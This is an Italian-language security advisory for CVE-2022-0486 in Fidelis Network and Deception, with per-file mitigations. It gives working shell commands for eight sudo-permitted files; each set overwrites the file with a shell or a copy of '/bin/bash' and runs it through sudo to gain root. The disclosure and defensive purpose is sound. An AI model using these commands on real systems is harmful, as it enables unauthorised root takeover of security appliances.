
Fidelis Network and Deception - Escalation dei privilegi per permessi file non sicuri - Multipli
Tutti gli exploit sono stati approvati per la pubblicazione dal Governo degli Stati Uniti. Un ringraziamento speciale ai militari e ai collegamenti governativi incaricati di approvare la documentazione per la distribuzione illimitata. Fare riferimento ai seguenti numeri OTR:
Data: 20220517 2005H UTC
Autore dell'exploit: Henry Reed, The Aerospace Corporation
Homepage del fornitore: https://fidelissecurity.com/
Versioni interessate:
Testato su:
CVE: CVE-2022-0486
Descrizione CVE: Permessi file impropri nei componenti CommandPost, Collector, Sensor e Sandbox di Fidelis Network and Deception consentono a un utente malintenzionato con accesso locale e amministrativo alla CLI di modificare file interessati e abilitare un'escalation di privilegi equivalente all'utente root. La vulnerabilità è presente nelle versioni di Fidelis Network and Deception precedenti alla 9.4.5. Patch e aggiornamenti sono disponibili per risolvere questa vulnerabilità.
Esistono diversi exploit per questa CVE, poiché la CVE copre una serie di permessi file impropri. Tutti gli exploit sono dovuti a un permesso NOPASSWD e a diversi permessi sudoers che richiedono una password, concessi all'utente fidelis su binari o script di proprietà dell'utente fidelis, consentendo quindi all'utente fidelis di modificare arbitrariamente il file. Ciò consente l'escalation locale dei privilegi.
File interessato con NOPASSWD:
File interessati che richiedono una password:
Si consiglia agli utenti interessati di Fidelis Deception o Fidelis Network di aggiornare il proprio software per correggere questa vulnerabilità. Si raccomanda inoltre a tutti gli utenti, indipendentemente dal fatto che siano stati colpiti da questa vulnerabilità, di disabilitare l'accesso shell ai prodotti Fidelis dopo la configurazione iniziale.
Se, per qualche motivo, nessuna di queste opzioni è possibile, in questo documento viene descritta una mitigazione per ogni file vulnerabile. Sulla base dei test effettuati dall'autore, sembra che gli utenti debbano utilizzare una di queste vulnerabilità per elevare i privilegi prima di poter applicare le mitigazioni descritte, pertanto si consiglia vivamente di aggiornare Fidelis e disabilitare SSH.
Testato su:
Permessi di proprietà configurati in modo errato su /FSS/bin/shutdown.pl consentono all'utente fidelis di elevare i privilegi fino a equivalere all'utente root in più prodotti Fidelis. Per impostazione predefinita, la configurazione sudoers consente all'utente fidelis di eseguire /FSS/bin/shutdown.pl come utente root senza richiedere una password. Il file è di proprietà dell'utente fidelis, consentendo a quest'ultimo di modificare arbitrariamente lo script e di elevare i privilegi.
$ chmod 700 /FSS/bin/shutdown.pl
$ echo '#!/usr/bin/perl -w' > /FSS/bin/shutdown.pl
$ echo "exec '/bin/sh';" >> /FSS/bin/shutdown.pl
$ cat /FSS/bin/shutdown.pl
#!/usr/bin/perl -w
exec '/bin/sh';
$ sudo /FSS/bin/shutdown.pl
Screenshot che mostra la scoperta e lo sfruttamento della vulnerabilità. Da notare la riga NOPASSWD, che indica che shutdown.pl è un potenziale candidato per l'escalation dei privilegi:

Modificare il proprietario utente e di gruppo di /FSS/bin/shutdown.pl in root:fidelis e consentire solo i permessi di lettura ed esecuzione al proprietario di gruppo di /FSS/bin/shutdown.pl mitigherebbe questa vulnerabilità:

Testato su:
Permessi di proprietà configurati in modo errato su /FSS/setup/cert_mgmt consentono all'utente fidelis di elevare i privilegi fino a equivalere all'utente root in più prodotti Fidelis. Per impostazione predefinita, la configurazione sudoers consente all'utente fidelis di eseguire /FSS/setup/cert_mgmt come utente root se viene fornita una password. Il file è di proprietà dell'utente fidelis, consentendo a quest'ultimo di modificare arbitrariamente lo script e di elevare i privilegi.
$ chmod u+w /FSS/setup/cert_mgmt
$ cp /bin/bash /FSS/setup/cert_mgmt
$ sudo /FSS/setup/cert_mgmt
Screenshot che mostra la scoperta e lo sfruttamento della vulnerabilità:

Modificare il proprietario utente e di gruppo di /FSS/setup/cert_mgmt in root:fidelis e consentire solo i permessi di lettura ed esecuzione al proprietario di gruppo di /FSS/setup/cert_mgmt mitigherebbe questa vulnerabilità:

Testato su:
Permessi di proprietà configurati in modo errato su /FSS/bin/db_updater consentono all'utente fidelis di elevare i privilegi fino a equivalere all'utente root in Fidelis CommandPost. Per impostazione predefinita, la configurazione sudoers consente all'utente fidelis di eseguire /FSS/bin/db_updater come utente root se viene fornita una password. Il file è di proprietà dell'utente fidelis, consentendo a quest'ultimo di modificare arbitrariamente il binario e di elevare i privilegi.
$ chmod u+w /FSS/bin/db_updater
$ cp /bin/bash /FSS/bin/db_updater
$ sudo /FSS/bin/db_updater

Modificare il proprietario utente e di gruppo di /FSS/bin/db_updater in root:fidelis e consentire solo i permessi di lettura ed esecuzione al proprietario di gruppo di /FSS/bin/db_updater mitigherebbe questa vulnerabilità:

Testato su:
Permessi di proprietà configurati in modo errato su /FSS/deception-manager/bin/deception-manager consentono all'utente fidelis di elevare i privilegi fino a equivalere all'utente root in Fidelis CommandPost. Per impostazione predefinita, la configurazione sudoers consente all'utente fidelis di eseguire /FSS/deception-manager/bin/deception-manager come utente root se viene fornita una password. Il file è di proprietà dell'utente fidelis, consentendo a quest'ultimo di modificare arbitrariamente il binario e di elevare i privilegi.
$ cp /bin/bash /FSS/deception-manager/bin/deception-manager
$ sudo /FSS/deception-manager/bin/deception-manager
Screenshot che mostra la scoperta e lo sfruttamento della vulnerabilità:

Modificare il proprietario utente e di gruppo di /FSS/deception-manager/bin/deception-manager in root:fidelis e consentire solo i permessi di lettura ed esecuzione al proprietario di gruppo di /FSS/deception-manager/bin/deception-manager mitigherebbe questa vulnerabilità:

Testato su:
Permessi di proprietà configurati in modo errato su /FSS/sbin/fssdbg.sh consentono all'utente fidelis di elevare i privilegi fino a equivalere all'utente root in più prodotti Fidelis. Per impostazione predefinita, la configurazione sudoers consente all'utente fidelis di eseguire /FSS/sbin/fssdbg.sh come utente root se viene fornita una password. Il file è di proprietà dell'utente fidelis, consentendo a quest'ultimo di modificare arbitrariamente lo script e di elevare i privilegi.
$ chmod u+w /FSS/sbin/fssdbg.sh
$ cp /bin/bash /FSS/sbin/fssdbg.sh
$ sudo /FSS/sbin/fssdbg.sh
Screenshot che mostra la scoperta e lo sfruttamento della vulnerabilità:

Modificare il proprietario utente e di gruppo di /FSS/sbin/fssdbg.sh in root:fidelis e consentire solo i permessi di lettura ed esecuzione al proprietario di gruppo di /FSS/sbin/fssdbg.sh mitigherebbe questa vulnerabilità:

Testato su:
Permessi di proprietà configurati in modo errato su /FSS/bin/mst consentono all'utente fidelis di elevare i privilegi fino a equivalere all'utente root in più prodotti Fidelis. Per impostazione predefinita, la configurazione sudoers consente all'utente fidelis di eseguire /FSS/bin/mst come utente root se viene fornita una password. Il file è di proprietà dell'utente fidelis, consentendo a quest'ultimo di modificare arbitrariamente il binario e di elevare i privilegi.
$ chmod u+w /FSS/bin/mst
$ cp /bin/bash /FSS/bin/mst
$ sudo /FSS/bin/mst
Screenshot che mostra la scoperta e lo sfruttamento della vulnerabilità:

Modificare il proprietario utente e di gruppo di /FSS/bin/mst in root:fidelis e consentire solo i permessi di lettura ed esecuzione al proprietario di gruppo di /FSS/bin/mst mitigherebbe questa vulnerabilità. Di seguito è riportato uno screenshot che mostra la mitigazione dell'escalation dei privilegi e un estratto dell'output del comando mst quando eseguito da fidelis senza sudo:

Screenshot che mostra che anche con la mitigazione, il comando può ancora essere eseguito come sudo dall'utente fidelis:

Screenshot che mostra che mst non può essere modificato per eseguire altro codice arbitrario quando viene utilizzata la mitigazione:

Testato su:
Permessi di proprietà configurati in modo errato su /FSS/bin/setup consentono all'utente fidelis di elevare i privilegi fino a equivalere all'utente root in più prodotti Fidelis. Per impostazione predefinita, la configurazione sudoers consente all'utente fidelis di eseguire /FSS/bin/setup come utente root se viene fornita una password. Il file è di proprietà dell'utente fidelis, consentendo a quest'ultimo di modificare arbitrariamente il binario e di elevare i privilegi.
$ chmod u+w /FSS/bin/setup
$ cp /bin/bash /FSS/bin/setup
$ sudo /FSS/bin/setup
Screenshot che mostra la scoperta e lo sfruttamento della vulnerabilità:

Modificare il proprietario utente e di gruppo di /FSS/bin/setup in root:fidelis e consentire solo i permessi di lettura ed esecuzione al proprietario di gruppo di /FSS/bin/setup mitigherebbe questa vulnerabilità:

Testato su:
Permessi di proprietà configurati in modo errato su /FSS/setup/unlock_cp_user.sh consentono all'utente fidelis di elevare i privilegi fino a equivalere all'utente root in più prodotti Fidelis. Per impostazione predefinita, la configurazione sudoers consente all'utente fidelis di eseguire /FSS/setup/unlock_cp_user.sh come utente root se viene fornita una password. Il file è di proprietà dell'utente fidelis, consentendo a quest'ultimo di modificare arbitrariamente lo script e di elevare i privilegi.
$ chmod u+w /FSS/setup/unlock_cp_user.sh
$ cp /bin/bash /FSS/setup/unlock_cp_user.sh
$ sudo /FSS/setup/unlock_cp_user.sh
Screenshot che mostra la scoperta e lo sfruttamento della vulnerabilità:

Modificare il proprietario utente e di gruppo di /FSS/setup/unlock_cp_user.sh in root:fidelis e consentire solo i permessi di lettura ed esecuzione al proprietario di gruppo di /FSS/setup/unlock_cp_user.sh mitigherebbe questa vulnerabilità:
